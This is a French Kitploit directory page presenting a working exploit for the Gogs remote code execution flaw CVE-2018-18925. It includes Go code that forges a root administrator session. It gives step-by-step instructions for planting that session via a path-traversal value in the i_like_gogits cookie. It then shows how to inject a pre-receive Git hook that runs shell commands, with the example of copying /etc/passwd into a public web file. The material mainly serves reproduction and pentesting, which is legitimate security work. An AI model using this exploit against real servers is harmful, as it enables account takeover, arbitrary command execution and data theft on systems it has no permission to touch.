Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Gogs_RCE — Exploit pour la RCE de Gogs (CVE-2018-18925) tirant parti de la falsification de session et de l'injection de hooks Git pour exécuter des commandes arbitraires avec les privilèges root. | Kitploit
Outils/GitHubGitHub/jas502n/gogs_rce
Authentification et AutorisationEscalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubjas502n/gogs_rce

Gogs_RCE

Exploit pour la RCE de Gogs (CVE-2018-18925) tirant parti de la falsification de session et de l'injection de hooks Git pour exécuter des commandes arbitraires avec les privilèges root.

Voir le dépôt
1643il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Reproduction de la vulnérabilité Gogs_RCE

0x01 Enregistrer un compte normal sur le front office

0x02 Compiler une fausse session administrateur avec Go

go run main.go

root@kitploit:~
package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("data", data,0777)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

Un fichier data sera généré dans le répertoire courant.

root@kitploit:~
root@kali:~/go/demo# cat readme.txt 
go run main.go 

0eff81040102ff82000110011000005aff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c060004726f6f74
root@kali:~/go/demo# cat data |xxd
00000000: 0eff 8104 0102 ff82 0001 1001 1000 005a  ...............Z
00000010: ff82 0003 0673 7472 696e 670c 0a00 085f  .....string...._
00000020: 6f6c 645f 7569 6406 7374 7269 6e67 0c03  old_uid.string..
00000030: 0001 3106 7374 7269 6e67 0c05 0003 7569  ..1.string....ui
00000040: 6405 696e 7436 3404 0200 0206 7374 7269  d.int64.....stri
00000050: 6e67 0c07 0005 756e 616d 6506 7374 7269  ng....uname.stri
00000060: 6e67 0c06 0004 726f 6f74                 ng....root
root@kali:~/go/demo# 

0x03 Publication d'une nouvelle version par un utilisateur normal

Pièce jointe : http://10.20.24.189:18080/attachments/c58bf501-7163-44a8-b77d-79c8396609bb

Définissez le champ cookie i_like_gogits sur le chemin du fichier de la nouvelle version, en insérant les 2 premiers caractères. Par exemple :

attachments/c58bf501-7163-44a8-b77d-79c8396609bb

i_like_gogits=../attachments/c/5/c58bf501-7163-44a8-b77d-79c8396609bb

0x04 Rafraîchir la page, on devient le compte administrateur root

Après modification

Compte root

0x05 Paramètres du dépôt, gérer les hooks Git, nom du hook : pre-receive

Lorsque le serveur est sous Linux, écrivez directement un script shell pour exécuter des commandes.

La commande est déclenchée après le téléversement de nouveaux fichiers dans le dépôt.

0x06 Exécution de commandes avec affichage du résultat - Panneau d'administration - Gestion de la configuration de l'application - Répertoire racine des fichiers statiques

Obtenez le chemin absolu via le répertoire racine des fichiers statiques : Par exemple

root@kitploit:~
静态文件根目录    /app/gogs

Contenu du script shell :

cat /etc/passwd > /app/gogs/public/js/1.js

Chemin d'accès au résultat via le site Web :

https://127.0.0.1:3000/js/1.js

Références :

Cannot execute custom hooks on Windows #4255

https://github.com/gogs/gogs/issues/4255

https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925

Télécharger l’outil